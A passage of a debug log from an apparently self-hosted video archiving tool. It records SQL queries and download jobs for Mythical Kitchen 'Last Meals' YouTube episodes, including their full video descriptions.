Joe Jonas Eats His Last Meal/Joe Jonas Eats His Last Meal [lRevGBgdL0M].mp4", "id" => "lRevGBgdL0M", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=lRevGBgdL0M", "playlist_index" => 48, "timestamp" => 1748944875, "title" => "Joe Jonas Eats His Last Meal", "upload_date" => "20250603"} 20:48:07.503 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=445.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:48:07.504 [debug] QUERY OK source="sources" db=0.2ms idle=446.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:48:07.505 [debug] QUERY OK source="media_items" db=0.4ms idle=447.1ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-06-03 10:01:15Z], 1] 20:48:07.508 [debug] QUERY OK source="media_items" db=2.4ms idle=447.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","original_url","prevent_download","media_id","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "original_url" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, Joe Jonas eats his last meal.\n\nWant more Mythical Kitchen? Check out these playlists:\nLast Meals - https://www.youtube.com/playlist?list=PLW8XZTagL0oLPu4rowq_WOqg6nJ_oToRN\nFood Battles - https://www.youtube.com/playlist?list=PLW8XZTagL0oKvNweUd0NzXBTUgmVDXbTe\nMeals of History - https://www.youtube.com/playlist?list=PLW8XZTagL0oJzDtzkhoE_KeH_macdrpHJ\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nCHAPTERS\n0:00 Joe's Last Meal\n0:20 Bring Back The Joe Show\n1:00 Have You Thought About Your Last Meal Before?\n2:00 How Often Do You Think About Death?\n3:24 1st Course\n6:12 Taylor Ham Vs. Pork Roll\n7:38 Motivation For The New Album\n9:49 Self-Talk & Therapy\n10:45 You Can't Out-Bicycle Your Problems\n12:58 Writing A Letter To Your 8-Year-Old Self\n14:55 Check In On Your Friends\n16:35 2nd Course\n17:43 Jonas Pizza\n21:39 Chased By 100,000 Fans In A Mall In Spain\n24:22 Beaten Up By An Animated Mickey Mouse\n25:31 The Pressures Of Being A Pastor's Kid\n25:31 Identity & Purity Rings\n30:20 3rd Course\n32:31 Love Is Never Lost; It Takes New Shapes\n34:55 We're Lucky If We Have 80 Summers\n36:30 Faith\n38:57 What Do You Think Happens When You Die?\n39:50 Lightning Round\n41:30 Joe's Last Words\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen \n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nJoin the Mythical Society: https://www.mythicalsociety.com \n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\nClosed Captioning provided by Rev", "Joe Jonas Eats His Last Meal", "d0502e86-6012-40e5-8ed9-ab9f1248874a", "https://www.youtube.com/watch?v=lRevGBgdL0M", false, "lRevGBgdL0M", 2511, false, 48, "/downloads/Last Meals/2025-06-03 Joe Jonas Eats His Last Meal/Joe Jonas Eats His Last Meal [lRevGBgdL0M].mp4", false, false, 1, [], 0, ~U[2025-06-03 10:01:15Z], ~U[2026-03-28 00:48:07Z], ~U[2026-03-28 00:48:07Z], "Today, Joe Jonas eats his last meal.\n\nWant more Mythical Kitchen? Check out these playlists:\nLast Meals - https://www.youtube.com/playlist?list=PLW8XZTagL0oLPu4rowq_WOqg6nJ_oToRN\nFood Battles - https://www.youtube.com/playlist?list=PLW8XZTagL0oKvNweUd0NzXBTUgmVDXbTe\nMeals of History - https://www.youtube.com/playlist?list=PLW8XZTagL0oJzDtzkhoE_KeH_macdrpHJ\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nCHAPTERS\n0:00 Joe's Last Meal\n0:20 Bring Back The Joe Show\n1:00 Have You Thought About Your Last Meal Before?\n2:00 How Often Do You Think About Death?\n3:24 1st Course\n6:12 Taylor Ham Vs. Pork Roll\n7:38 Motivation For The New Album\n9:49 Self-Talk & Therapy\n10:45 You Can't Out-Bicycle Your Problems\n12:58 Writing A Letter To Your 8-Year-Old Self\n14:55 Check In On Your Friends\n16:35 2nd Course\n17:43 Jonas Pizza\n21:39 Chased By 100,000 Fans In A Mall In Spain\n24:22 Beaten Up By An Animated Mickey Mouse\n25:31 The Pressures Of Being A Pastor's Kid\n25:31 Identity & Purity Rings\n30:20 3rd Course\n32:31 Love Is Never Lost; It Takes New Shapes\n34:55 We're Lucky If We Have 80 Summers\n36:30 Faith\n38:57 What Do You Think Happens When You Die?\n39:50 Lightning Round\n41:30 Joe's Last Words\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen \n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nJoin the Mythical Society: https://www.mythicalsociety.com \n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\nClosed Captioning provided by Rev", "Joe Jonas Eats His Last Meal", "https://www.youtube.com/watch?v=lRevGBgdL0M", "lRevGBgdL0M", 2511, false, "/downloads/Last Meals/2025-06-03 Joe Jonas Eats His Last Meal/Joe Jonas Eats His Last Meal [lRevGBgdL0M].mp4", false, 1, ~U[2025-06-03 10:01:15Z]] 20:48:07.509 [debug] QUERY OK source="sources" db=0.2ms idle=427.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:48:07.509 [debug] QUERY OK source="media_profiles" db=0.2ms idle=5.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:48:07.510 [debug] QUERY OK source="media_items" db=0.4ms idle=5.4ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [48] 20:48:07.510 [info] Kicking off download for media item #48 (lRevGBgdL0M) 20:48:07.512 [debug] QUERY OK source="tasks" db=0.0ms idle=3.1ms INSERT INTO "tasks" ("job_id","media_item_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [51, 48, ~U[2026-03-28 00:48:07Z], ~U[2026-03-28 00:48:07Z]] 20:48:07.512 [debug] Current batch of media processed. Will check again in 1000ms 20:48:08.513 [debug] Current batch of media processed. Will check again in 1000ms 20:48:09.515 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Today, Shay Mitchell eats her last meal. \n\nSubscribe to Mythical Kitchen: https://www.youtube.com/mythicalkitchen?sub_confirmation=1\n\n0:00 Shay's Last Meal\n1:10 Have You Thought About Your Last Meal Before?\n2:26 1st Course\n4:47 Traveling & Drinking Around The World\n6:18 Surrounded By Guinea Pigs\n8:21 How To Manifest Your Dream Kitchen\n10:35 2nd Course\n12:26 We Have One Life\n14:59 Empowering Independent Daughters\n17:19 Choosing Your Partner\n19:30 Embracing The Unknown\n20:21 Marine Biology\n21:00 3rd Course\n22:43 Growing Up Filipina\n24:50 Riding The Highs & Lows Of Life\n25:35 Grief & Learning From Hindu Culture\n28:06 4th Course\n29:34 Beauty & Aging\n30:44 What Do You Think Happens When You Die?\n31:32 Lightning Round\n35:14 Shay's Last Words\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nClick the bell icon so you'll know when we add a new video!\n\nWant more Mythical Kitchen? Check out these playlists:\nFancy Fast Food - https://www.youtube.com/playlist?list=PLW8XZTagL0oJhk71Ip3rIzHOFY3Edw2pw\nSnack Smash - https://www.youtube.com/playlist?list=PLW8XZTagL0oKYv5beEZpH5hP8aA5ahGKQ\nFood Fears - https://www.youtube.com/playlist?list=PLW8XZTagL0oK6vh1N6DOYcdWzGyuAxjtN\nFood Feats - https://www.youtube.com/playlist?list=PLW8XZTagL0oJI4IG7pZ-y792AHI4vIbWD\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen\n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nJoin the Mythical Society: https://www.mythicalsociety.com\n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nFollow Mythical: \nInstagram: https://instagram.com/mythical\nFacebook: https://facebook.com/mythical\nTwitter: https://twitter.com/mythical\nWebsite: https://mythical.com\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nWant to send us something? https://mythical.com/contact\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition ( https://hofoco.org ) who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\nClosed Captioning provided by Rev\n\nGet Mythical Kitchen gadgets and equipment!\n(As an Amazon Associate, we earn from qualifying purchases from paid links below)\n* Pots and Pans - https://www.amazon.com/gp/product/B01B49H5CG/ref=ppx_yo_dt_b_search_asin_title?ie=UTF8&psc=1\n* Instant Read Thermometer - https://www.amazon.com/dp/B01F59K0IW/ref=twister_B00NMQGAPS?_encoding=UTF8&psc=1\n* Immersion Blender - https://www.amazon.com/gp/product/B01J1AWUR0/ref=ox_sc_act_title_1?smid=ATVPDKIKX0DER&psc=1\n* Dehydrator - https://www.amazon.com/gp/product/B01M6AZ863/ref=ox_sc_act_title_1?smid=A2L77EE7U53NWQ&psc=1\n* Vitamix Blender - https://www.amazon.com/gp/product/B0758JHZM3/ref=ox_sc_act_title_2?smid=ATVPDKIKX0DER&psc=1\n* Food Processor - https://www.amazon.com/Cuisinart-DFP-14BCNY-Processor-Brushed-Stainless/dp/B01AXM4WV2?ref_=ast_sto_dp&th=1&psc=1\n* Kitchen Aid Stand Mixer - https://www.amazon.com/dp/B07QBDMCKH/ref=twister_B07XKC8VN4?_encoding=UTF8&psc=1\n* Kitchen AidPasta Attachment - https://www.amazon.com/KitchenAid-KSMPEXTA-Gourmet-Attachment-Interchangeable/dp/B01ENK4UV2?ref_=ast_sto_dp\n* Spice Grinder - https://www.amazon.com/KRUPS-Electric-Coffee-Grinder-Stainless/dp/B00004SPEU?ref_=ast_bbp_dp&th=1&psc=1", "duration" => 2167, "filename" => "/downloads/Last Meals/2024-05-23 Shay Mitchell Eats Her Last Meal/Shay Mitchell Eats Her Last Meal [MZRf9gGXJ2s].mp4", "id" => "MZRf9gGXJ2s", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=MZRf9gGXJ2s", "playlist_index" => 49, "timestamp" => 1716458416, "title" => "Shay Mitchell Eats Her Last Meal", "upload_date" => "20240523"} 20:48:09.516 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=457.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:48:09.516 [debug] QUERY OK source="sources" db=0.2ms idle=458.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:48:09.517 [debug] QUERY OK source="media_items" db=0.5ms idle=459.3ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-05-23 10:00:16Z], 1] 20:48:09.521 [debug] QUERY OK source="media_items" db=2.6ms idle=460.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","original_url","prevent_download","media_id","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "original_url" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, Shay Mitchell eats her last meal. \n\nSubscribe to Mythical Kitchen: https://www.youtube.com/mythicalkitchen?sub_confirmation=1\n\n0:00 Shay's Last Meal\n1:10 Have You Thought About Your Last Meal Before?\n2:26 1st Course\n4:47 Traveling & Drinking Around The World\n6:18 Surrounded By Guinea Pigs\n8:21 How To Manifest Your Dream Kitchen\n10:35 2nd Course\n12:26 We Have One Life\n14:59 Empowering Independent Daughters\n17:19 Choosing Your Partner\n19:30 Embracing The Unknown\n20:21 Marine Biology\n21:00 3rd Course\n22:43 Growing Up Filipina\n24:50 Riding The Highs & Lows Of Life\n25:35 Grief & Learning From Hindu Culture\n28:06 4th Course\n29:34 Beauty & Aging\n30:44 What Do You Think Happens When You Die?\n31:32 Lightning Round\n35:14 Shay's Last Words\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nClick the bell icon so you'll know when we add a new video!\n\nWant more Mythical Kitchen? Check out these playlists:\nFancy Fast Food - https://www.youtube.com/playlist?list=PLW8XZTagL0oJhk71Ip3rIzHOFY3Edw2pw\nSnack Smash - https://www.youtube.com/playlist?list=PLW8XZTagL0oKYv5beEZpH5hP8aA5ahGKQ\nFood Fears - https://www.youtube.com/playlist?list=PLW8XZTagL0oK6vh1N6DOYcdWzGyuAxjtN\nFood Feats - https://www.youtube.com/playlist?list=PLW8XZTagL0oJI4IG7pZ-y792AHI4vIbWD\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen\n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nJoin the Mythical Society: https://www.mythicalsociety.com\n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nFollow Mythical: \nInstagram: https://instagram.com/mythical\nFacebook: https://facebook.com/mythical\nTwitter: https://twitter.com/mythical\nWebsite: https://mythical.com\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nWant to send us something? https://mythical.com/contact\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition ( https://hofoco.org ) who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\nClosed Captioning provided by Rev\n\nGet Mythical Kitchen gadgets and equipment!\n(As an Amazon Associate, we earn from qualifying purchases from paid links below)\n* Pots and Pans - https://www.amazon.com/gp/product/B01B49H5CG/ref=ppx_yo_dt_b_search_asin_title?ie=UTF8&psc=1\n* Instant Read Thermometer - https://www.amazon.com/dp/B01F59K0IW/ref=twister_B00NMQGAPS?_encoding=UTF8&psc=1\n* Immersion Blender - https://www.amazon.com/gp/product/B01J1AWUR0/ref=ox_sc_act_title_1?smid=ATVPDKIKX0DER&psc=1\n* Dehydrator - https://www.amazon.com/gp/product/B01M6AZ863/ref=ox_sc_act_title_1?smid=A2L77EE7U53NWQ&psc=1\n* Vitamix Blender - https://www.amazon.com/gp/product/B0758JHZM3/ref=ox_sc_act_title_2?smid=ATVPDKIKX0DER&psc=1\n* Food Processor - https://www.amazon.com/Cuisinart-DFP-14BCNY-Processor-Brushed-Stainless/dp/B01AXM4WV2?ref_=ast_sto_dp&th=1&psc=1\n* Kitchen Aid Stand Mixer - https://www.amazon.com/dp/B07QBDMCKH/ref=twister_B07XKC8VN4?_encoding=UTF8&psc=1\n* Kitchen AidPasta Attachment - https://www.amazon.com/KitchenAid-KSMPEXTA-Gourmet-Attachment-Interchangeable/dp/B01ENK4UV2?ref_=ast_sto_dp\n* Spice Grinder - https://www.amazon.com/KRUPS-Electric-Coffee-Grinder-Stainless/dp/B00004SPEU?ref_=ast_bbp_dp&th=1&psc=1", "Shay Mitchell Eats Her Last Meal", "9545c805-b9a6-4f36-a764-97446834ccd9", "https://www.youtube.com/watch?v=MZRf9gGXJ2s", false, "MZRf9gGXJ2s", 2167, false, 49, "/downloads/Last Meals/2024-05-23 Shay Mitchell Eats Her Last Meal/Shay Mitchell Eats Her Last Meal [MZRf9gGXJ2s].mp4", false, false, 1, [], 0, ~U[2024-05-23 10:00:16Z], ~U[2026-03-28 00:48:09Z], ~U[2026-03-28 00:48:09Z], "Today, Shay Mitchell eats her last meal. \n\nSubscribe to Mythical Kitchen: https://www.youtube.com/mythicalkitchen?sub_confirmation=1\n\n0:00 Shay's Last Meal\n1:10 Have You Thought About Your Last Meal Before?\n2:26 1st Course\n4:47 Traveling & Drinking Around The World\n6:18 Surrounded By Guinea Pigs\n8:21 How To Manifest Your Dream Kitchen\n10:35 2nd Course\n12:26 We Have One Life\n14:59 Empowering Independent Daughters\n17:19 Choosing Your Partner\n19:30 Embracing The Unknown\n20:21 Marine Biology\n21:00 3rd Course\n22:43 Growing Up Filipina\n24:50 Riding The Highs & Lows Of Life\n25:35 Grief & Learning From Hindu Culture\n28:06 4th Course\n29:34 Beauty & Aging\n30:44 What Do You Think Happens When You Die?\n31:32 Lightning Round\n35:14 Shay's Last Words\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nClick the bell icon so you'll know when we add a new video!\n\nWant more Mythical Kitchen? Check out these playlists:\nFancy Fast Food - https://www.youtube.com/playlist?list=PLW8XZTagL0oJhk71Ip3rIzHOFY3Edw2pw\nSnack Smash - https://www.youtube.com/playlist?list=PLW8XZTagL0oKYv5beEZpH5hP8aA5ahGKQ\nFood Fears - https://www.youtube.com/playlist?list=PLW8XZTagL0oK6vh1N6DOYcdWzGyuAxjtN\nFood Feats - https://www.youtube.com/playlist?list=PLW8XZTagL0oJI4IG7pZ-y792AHI4vIbWD\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen\n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nJoin the Mythical Society: https://www.mythicalsociety.com\n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nFollow Mythical: \nInstagram: https://instagram.com/mythical\nFacebook: https://facebook.com/mythical\nTwitter: https://twitter.com/mythical\nWebsite: https://mythical.com\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nWant to send us something? https://mythical.com/contact\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition ( https://hofoco.org ) who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\nClosed Captioning provided by Rev\n\nGet Mythical Kitchen gadgets and equipment!\n(As an Amazon Associate, we earn from qualifying purchases from paid links below)\n* Pots and Pans - https://www.amazon.com/gp/product/B01B49H5CG/ref=ppx_yo_dt_b_search_asin_title?ie=UTF8&psc=1\n* Instant Read Thermometer - https://www.amazon.com/dp/B01F59K0IW/ref=twister_B00NMQGAPS?_encoding=UT (truncated) 20:48:09.521 [debug] QUERY OK source="sources" db=0.3ms queue=0.1ms idle=437.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:48:09.522 [debug] QUERY OK source="media_profiles" db=0.3ms idle=6.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:48:09.523 [debug] QUERY OK source="media_items" db=0.4ms idle=5.9ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [49] 20:48:09.523 [info] Kicking off download for media item #49 (MZRf9gGXJ2s) 20:48:09.525 [debug] QUERY OK source="tasks" db=0.1ms idle=3.3ms INSERT INTO "tasks" ("job_id","media_item_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [52, 49, ~U[2026-03-28 00:48:09Z], ~U[2026-03-28 00:48:09Z]] 20:48:09.525 [debug] Current batch of media processed. Will check again in 1000ms 20:48:10.526 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Today, Rebecca Black eats her last meal.\n\n(This interview was recorded before the LA fires took place)\nDue to the circumstances, Rebecca’s project, SALVATION will be delayed. The new release date is February 27, 2025. But in the meantime you can still enjoy some SUGAR WATER CYANIDE— out now wherever you listen to music!\n\nSubscribe to Mythical Kitchen: https://www.youtube.com/mythicalkitchen?sub_confirmation=1\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\n0:00 Rebecca Black's Last Meal\n1:12 Have You Thought About Your Last Meal Before?\n1:34 How Often Do You Think About Death?\n2:09 1st Course\n3:37 A Modern Day Forrest Gump\n5:36 TRUST!\n7:18 Support From The Queer Community\n9:38 Lady Gaga Gets It\n12:42 2nd 